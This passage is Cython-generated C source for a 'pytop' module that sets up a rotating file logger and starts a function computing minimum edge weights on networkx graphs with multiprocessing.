const char __pyx_k_file_handler[] = "file_handler"; static const char __pyx_k_minmax_inter[] = "minmax_inter"; static const char __pyx_k_num_of_nodes[] = "num_of_nodes"; static const char __pyx_k_read_gpickle[] = "read_gpickle"; static const char __pyx_k_save_weights[] = "save_weights"; static const char __pyx_k_setFormatter[] = "setFormatter"; static const char __pyx_k_create_logger[] = "create_logger"; static const char __pyx_k_to_undirected[] = "to_undirected"; static const char __pyx_k_write_gpickle[] = "write_gpickle"; static const char __pyx_k_edge_distances[] = "edge_distances"; static const char __pyx_k_imap_unordered[] = "imap_unordered"; static const char __pyx_k_max_neighbor_w[] = "max_neighbor_w"; static const char __pyx_k_min_neighbor_w[] = "min_neighbor_w"; static const char __pyx_k_current_process[] = "current_process"; static const char __pyx_k_multiprocessing[] = "multiprocessing"; static const char __pyx_k_number_of_nodes[] = "number_of_nodes"; static const char __pyx_k_Processor___init[] = "Processor.__init__"; static const char __pyx_k_logging_handlers[] = "logging.handlers"; static const char __pyx_k_min_edge_weights[] = "min_edge_weights"; static const char __pyx_k_neighbor_weights[] = "neighbor_weights"; static const char __pyx_k_Processor_softmax[] = "Processor.softmax"; static const char __pyx_k_cline_in_traceback[] = "cline_in_traceback"; static const char __pyx_k_RotatingFileHandler[] = "RotatingFileHandler"; static const char __pyx_k_get_min_edge_weights[] = "get_min_edge_weights"; static const char __pyx_k_Processor_save_weights[] = "Processor.save_weights"; static const char __pyx_k_add_min_weights_to_data[] = "add_min_weights_to_data"; static const char __pyx_k_pytop_cutils_min_weights[] = "pytop.cutils.min_weights"; static const char __pyx_k_pytop_cutils_min_weights_pyx[] = "pytop/cutils/min_weights.pyx"; static const char __pyx_k_asctime_s_name_s_levelname_s_me[] = "%(asctime)s - %(name)s - %(levelname)s - %(message)s"; static const char __pyx_k_add_min_weights_to_data_locals_s[] = "add_min_weights_to_data.<locals>.slice_gen"; static PyObject *__pyx_n_s_DEBUG; static PyObject *__pyx_n_s_EPSILON; static PyObject *__pyx_n_s_Formatter; static PyObject *__pyx_n_s_INFO; static PyObject *__pyx_n_s_Logger; static PyObject *__pyx_n_s_Pool; static PyObject *__pyx_n_s_Processor; static PyObject *__pyx_n_s_Processor___init; static PyObject *__pyx_n_s_Processor_save_weights; static PyObject *__pyx_n_s_Processor_softmax; static PyObject *__pyx_n_s_RotatingFileHandler; static PyObject *__pyx_n_s_WU; static PyObject *__pyx_n_s__18; static PyObject *__pyx_kp_s__2; static PyObject *__pyx_n_s__6; static PyObject *__pyx_n_s_addHandler; static PyObject *__pyx_n_s_add_min_weights_to_data; static PyObject *__pyx_n_s_add_min_weights_to_data_locals_s; static PyObject *__pyx_n_s_arange; static PyObject *__pyx_n_s_args; static PyObject *__pyx_kp_s_asctime_s_name_s_levelname_s_me; static PyObject *__pyx_n_s_backupCount; static PyObject *__pyx_n_s_chunk_size; static PyObject *__pyx_n_s_cline_in_traceback; static PyObject *__pyx_n_s_close; static PyObject *__pyx_n_s_concatenate; static PyObject *__pyx_n_s_create_logger; static PyObject *__pyx_n_s_current_process; static PyObject *__pyx_n_s_d; static PyObject *__pyx_n_s_data; static PyObject *__pyx_n_s_delta_w; static PyObject *__pyx_n_s_distance; static PyObject *__pyx_n_s_doc; static PyObject *__pyx_n_s_edge_distances; static PyObject *__pyx_n_s_edges; static PyObject *__pyx_n_s_encode; static PyObject *__pyx_n_s_enter; static PyObject *__pyx_n_s_enumerate; static PyObject *__pyx_n_s_ep; static PyObject *__pyx_n_s_es; static PyObject *__pyx_n_s_exist_ok; static PyObject *__pyx_n_s_exit; static PyObject *__pyx_n_s_exp; static PyObject *__pyx_n_s_file_handler; static PyObject *__pyx_n_s_file_logger; static PyObject *__pyx_n_s_file_path; static PyObject *__pyx_n_s_format; static PyObject *__pyx_n_s_formatter; static PyObject *__pyx_n_s_g; static PyObject *__pyx_n_s_getLogger; static PyObject *__pyx_n_s_get_min_edge_weights; static PyObject *__pyx_kp_s_gpickle; static PyObject *__pyx_n_s_graph; static PyObject *__pyx_n_s_handlers; static PyObject *__pyx_n_s_i; static PyObject *__pyx_n_s_idxs; static PyObject *__pyx_n_s_imap_unordered; static PyObject *__pyx_n_s_import; static PyObject *__pyx_n_s_inf; static PyObject *__pyx_n_s_init; static PyObject *__pyx_n_s_j; static PyObject *__pyx_n_s_join; static PyObject *__pyx_n_s_l; static PyObject *__pyx_n_s_likelihoods; static PyObject *__pyx_n_s_logging; static PyObject *__pyx_n_s_logging_handlers; static PyObject *__pyx_n_s_main; static PyObject *__pyx_n_s_makedirs; static PyObject *__pyx_n_s_max; static PyObject *__pyx_n_s_maxBytes; static PyObject *__pyx_n_s_max_neighbor_w; static PyObject *__pyx_n_s_metaclass; static PyObject *__pyx_n_s_min; static PyObject *__pyx_n_s_min_edge_weights; static PyObject *__pyx_n_s_min_neighbor_w; static PyObject *__pyx_n_s_minmax_inter; static PyObject *__pyx_n_s_module; static PyObject *__pyx_n_s_multiprocessing; static PyObject *__pyx_n_s_n_graphs; static PyObject *__pyx_n_s_n_threads; static PyObject *__pyx_n_s_name; static PyObject *__pyx_n_s_name_2; static PyObject *__pyx_n_s_names; static PyObject *__pyx_n_s_neighbor_weights; static PyObject *__pyx_n_s_neighbors; static PyObject *__pyx_n_s_networkx; static PyObject *__pyx_n_s_nodes; static PyObject *__pyx_n_s_np; static PyObject *__pyx_n_s_num_of_nodes; static PyObject *__pyx_n_s_number_of_nodes; static PyObject *__pyx_n_s_numpy; static PyObject *__pyx_n_s_nx; static PyObject *__pyx_n_s_os; static PyObject *__pyx_n_s_p; static PyObject *__pyx_n_s_parser; static PyObject *__pyx_n_s_path; static PyObject *__pyx_n_s_pool; static PyObject *__pyx_n_s_prepare; static PyObject *__pyx_n_s_prob; static PyObject *__pyx_n_s_pytop_cutils_min_weights; static PyObject *__pyx_kp_s_pytop_cutils_min_weights_pyx; static PyObject *__pyx_n_s_qualname; static PyObject *__pyx_n_s_range; static PyObject *__pyx_n_s_raw_w; static PyObject *__pyx_n_s_read_gpickle; static PyObject *__pyx_n_s_row; static PyObject *__pyx_n_s_s; static PyObject *__pyx_n_s_save_path; static PyObject *__pyx_n_s_save_weights; static PyObject *__pyx_n_s_self; static PyObject *__pyx_n_s_send; static PyObject *__pyx_n_s_setFormatter; static PyObject *__pyx_n_s_setLevel; static PyObject *__pyx_n_s_slice_gen; static PyObject *__pyx_n_s_slicer; static PyObject *__pyx_n_s_softmax; static PyObject *__pyx_n_s_source_path; static PyObject *__pyx_n_s_sum; static PyObject *__pyx_n_s_target; static PyObject *__pyx_n_s_test; static PyObject *__pyx_n_s_throw; static PyObject *__pyx_n_s_to_undirected; static PyObject *__pyx_n_s_w; static PyObject *__pyx_n_s_write_gpickle; static PyObject *__pyx_n_s_zip; static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_create_logger(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_file_path); /* proto */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_2get_min_edge_weights(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_g, int __pyx_v_target); /* proto */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_9Processor___init__(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_source_path, PyObject *__pyx_v_save_path, CYTHON_UNUSED PyObject *__pyx_v_n_threads, PyObject *__pyx_v_minmax_inter); /* proto */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_9Processor_2softmax(CYTHON_UNUSED PyObject *__pyx_self, CYTHON_UNUSED PyObject *__pyx_v_self, PyObject *__pyx_v_neighbor_weights); /* proto */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_9Processor_4save_weights(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_names); /* proto */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_23add_min_weights_to_data_slice_gen(PyObject *__pyx_self); /* proto */ static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_4add_min_weights_to_data(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_source_path, PyObject *__pyx_v_save_path, int __pyx_v_n_graphs, int __pyx_v_n_threads); /* proto */ static PyObject *__pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct__add_min_weights_to_data(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ static PyObject *__pyx_tp_new_5pytop_6cutils_11min_weights___pyx_scope_struct_1_slice_gen(PyTypeObject *t, PyObject *a, PyObject *k); /*proto*/ static PyObject *__pyx_float_3_8; static PyObject *__pyx_float_1eneg_7; static PyObject *__pyx_int_0; static PyObject *__pyx_int_1; static PyObject *__pyx_int_209715200; static PyObject *__pyx_tuple_; static PyObject *__pyx_tuple__3; static PyObject *__pyx_tuple__5; static PyObject *__pyx_tuple__7; static PyObject *__pyx_tuple__9; static PyObject *__pyx_tuple__11; static PyObject *__pyx_tuple__13; static PyObject *__pyx_tuple__14; static PyObject *__pyx_tuple__16; static PyObject *__pyx_tuple__19; static PyObject *__pyx_codeobj__4; static PyObject *__pyx_codeobj__8; static PyObject *__pyx_codeobj__10; static PyObject *__pyx_codeobj__12; static PyObject *__pyx_codeobj__15; static PyObject *__pyx_codeobj__17; static PyObject *__pyx_codeobj__20; /* Late includes */ /* "pytop/cutils/min_weights.pyx":23 * * * def create_logger(file_path): # <<<<<<<<<<<<<< * formatter = logging.Formatter( * "%(asctime)s - %(name)s - %(levelname)s - %(message)s" */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_1create_logger(PyObject *__pyx_self, PyObject *__pyx_v_file_path); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_1create_logger = {"create_logger", (PyCFunction)__pyx_pw_5pytop_6cutils_11min_weights_1create_logger, METH_O, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_1create_logger(PyObject *__pyx_self, PyObject *__pyx_v_file_path) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("create_logger (wrapper)", 0); __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_create_logger(__pyx_self, ((PyObject *)__pyx_v_file_path)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_create_logger(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_file_path) { PyObject *__pyx_v_formatter = NULL; PyObject *__pyx_v_file_logger = NULL; PyObject *__pyx_v_file_handler = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("create_logger", 0); /* "pytop/cutils/min_weights.pyx":24 * * def create_logger(file_path): * formatter = logging.Formatter( # <<<<<<<<<<<<<< * "%(asctime)s - %(name)s - %(levelname)s - %(message)s" * ) */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logging); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Formatter); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } __pyx_t_1 = (__pyx_t_2) ? __Pyx_PyObject_Call2Args(__pyx_t_3, __pyx_t_2, __pyx_kp_s_asctime_s_name_s_levelname_s_me) : __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_kp_s_asctime_s_name_s_levelname_s_me); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 24, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_v_formatter = __pyx_t_1; __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":27 * "%(asctime)s - %(name)s - %(levelname)s - %(message)s" * ) * file_logger = logging.getLogger("Logger") # <<<<<<<<<<<<<< * file_logger.setLevel(logging.INFO) * file_handler = handlers.RotatingFileHandler( */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_getLogger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } __pyx_t_1 = (__pyx_t_3) ? __Pyx_PyObject_Call2Args(__pyx_t_2, __pyx_t_3, __pyx_n_s_Logger) : __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_n_s_Logger); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 27, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_file_logger = __pyx_t_1; __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":28 * ) * file_logger = logging.getLogger("Logger") * file_logger.setLevel(logging.INFO) # <<<<<<<<<<<<<< * file_handler = handlers.RotatingFileHandler( * file_path, maxBytes=200 * 1024 * 1024, backupCount=1 */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_file_logger, __pyx_n_s_setLevel); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logging); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_INFO); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } __pyx_t_1 = (__pyx_t_3) ? __Pyx_PyObject_Call2Args(__pyx_t_2, __pyx_t_3, __pyx_t_4) : __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 28, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":29 * file_logger = logging.getLogger("Logger") * file_logger.setLevel(logging.INFO) * file_handler = handlers.RotatingFileHandler( # <<<<<<<<<<<<<< * file_path, maxBytes=200 * 1024 * 1024, backupCount=1 * ) */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_handlers); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_RotatingFileHandler); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; /* "pytop/cutils/min_weights.pyx":30 * file_logger.setLevel(logging.INFO) * file_handler = handlers.RotatingFileHandler( * file_path, maxBytes=200 * 1024 * 1024, backupCount=1 # <<<<<<<<<<<<<< * ) * file_handler.setLevel(logging.DEBUG) */ __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_file_path); __Pyx_GIVEREF(__pyx_v_file_path); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_file_path); __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 30, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_maxBytes, __pyx_int_209715200) < 0) __PYX_ERR(0, 30, __pyx_L1_error) if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_backupCount, __pyx_int_1) < 0) __PYX_ERR(0, 30, __pyx_L1_error) /* "pytop/cutils/min_weights.pyx":29 * file_logger = logging.getLogger("Logger") * file_logger.setLevel(logging.INFO) * file_handler = handlers.RotatingFileHandler( # <<<<<<<<<<<<<< * file_path, maxBytes=200 * 1024 * 1024, backupCount=1 * ) */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 29, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_v_file_handler = __pyx_t_3; __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":32 * file_path, maxBytes=200 * 1024 * 1024, backupCount=1 * ) * file_handler.setLevel(logging.DEBUG) # <<<<<<<<<<<<<< * file_handler.setFormatter(formatter) * file_logger.addHandler(file_handler) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_file_handler, __pyx_n_s_setLevel); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_logging); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_DEBUG); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } __pyx_t_3 = (__pyx_t_1) ? __Pyx_PyObject_Call2Args(__pyx_t_4, __pyx_t_1, __pyx_t_2) : __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_2); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 32, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":33 * ) * file_handler.setLevel(logging.DEBUG) * file_handler.setFormatter(formatter) # <<<<<<<<<<<<<< * file_logger.addHandler(file_handler) * return file_logger */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_file_handler, __pyx_n_s_setFormatter); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } __pyx_t_3 = (__pyx_t_2) ? __Pyx_PyObject_Call2Args(__pyx_t_4, __pyx_t_2, __pyx_v_formatter) : __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_formatter); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 33, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":34 * file_handler.setLevel(logging.DEBUG) * file_handler.setFormatter(formatter) * file_logger.addHandler(file_handler) # <<<<<<<<<<<<<< * return file_logger * */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_file_logger, __pyx_n_s_addHandler); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } __pyx_t_3 = (__pyx_t_2) ? __Pyx_PyObject_Call2Args(__pyx_t_4, __pyx_t_2, __pyx_v_file_handler) : __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_v_file_handler); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "pytop/cutils/min_weights.pyx":35 * file_handler.setFormatter(formatter) * file_logger.addHandler(file_handler) * return file_logger # <<<<<<<<<<<<<< * * */ __Pyx_XDECREF(__pyx_r); __Pyx_INCREF(__pyx_v_file_logger); __pyx_r = __pyx_v_file_logger; goto __pyx_L0; /* "pytop/cutils/min_weights.pyx":23 * * * def create_logger(file_path): # <<<<<<<<<<<<<< * formatter = logging.Formatter( * "%(asctime)s - %(name)s - %(levelname)s - %(message)s" */ /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_4); __Pyx_AddTraceback("pytop.cutils.min_weights.create_logger", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_formatter); __Pyx_XDECREF(__pyx_v_file_logger); __Pyx_XDECREF(__pyx_v_file_handler); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "pytop/cutils/min_weights.pyx":38 * * * def get_min_edge_weights(object g, int target): # <<<<<<<<<<<<<< * cdef int num_of_nodes = g.number_of_nodes() * cdef vector[vector[float]] WU */ /* Python wrapper */ static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_3get_min_edge_weights(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_5pytop_6cutils_11min_weights_3get_min_edge_weights = {"get_min_edge_weights", (PyCFunction)(void*)(PyCFunctionWithKeywords)__pyx_pw_5pytop_6cutils_11min_weights_3get_min_edge_weights, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_5pytop_6cutils_11min_weights_3get_min_edge_weights(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_g = 0; int __pyx_v_target; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("get_min_edge_weights (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_g,&__pyx_n_s_target,0}; PyObject* values[2] = {0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); CYTHON_FALLTHROUGH; case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); CYTHON_FALLTHROUGH; case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_g)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: if (likely((values[1] = __Pyx_PyDict_GetItemStr(__pyx_kwds, __pyx_n_s_target)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("get_min_edge_weights", 1, 2, 2, 1); __PYX_ERR(0, 38, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "get_min_edge_weights") < 0)) __PYX_ERR(0, 38, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 2) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); } __pyx_v_g = values[0]; __pyx_v_target = __Pyx_PyInt_As_int(values[1]); if (unlikely((__pyx_v_target == (int)-1) && PyErr_Occurred())) __PYX_ERR(0, 38, __pyx_L3_error) } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("get_min_edge_weights", 1, 2, 2, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 38, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("pytop.cutils.min_weights.get_min_edge_weights", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_5pytop_6cutils_11min_weights_2get_min_edge_weights(__pyx_self, __pyx_v_g, __pyx_v_target); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5pytop_6cutils_11min_weights_2get_min_edge_weights(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_g, int __pyx_v_target) { int __pyx_v_num_of_nodes; std::vector<std::vector<float> > __pyx_v_WU; std::vector<float> __pyx_v_row; PyObject *__pyx_v_edge_distances = NULL; int __pyx_v_i; CYTHON_UNUSED int __pyx_v_j; PyObject *__pyx_v_ep = NULL; PyObject *__pyx_v_es = NULL; PyObject *__pyx_v_d = NULL; PyObject *__pyx_v_p = NULL; PyObject *__pyx_v_s = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; int __pyx_t_4; int __pyx_t_5; int __pyx_t_6; int __pyx_t_7; int __pyx_t_8; int __pyx_t_9; int __pyx_t_10; Py_ssize_t __pyx_t_11; PyObject *(*__pyx_t_12)(PyObject *); PyObject *__pyx_t_13 = NULL; PyObject *__pyx_t_14 = NULL; PyObject *__pyx_t_15 = NULL; PyObject *(*__pyx_t_16)(PyObject *); double __pyx_t_17; std::vector<std::vector<float> > ::size_type __pyx_t_18; std::vector<float> ::size_type __pyx_t_19; int __pyx_lineno = 0; const char *__pyx_filename = NULL; int __pyx_clineno = 0; __Pyx_RefNannySetupContext("get_min_edge_weights", 0); /* "pytop/cutils/min_weights.pyx":39 * * def get_min_edge_weights(object g, int target): * cdef int num_of_nodes = g.number_of_nodes() # <<<<<<<<<<<<<< * cdef vector[vector[float]] WU * cdef vector[float] row */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_g, __pyx_n_s_number_of_nodes); if (unlikely(!__pyx_t_2)) 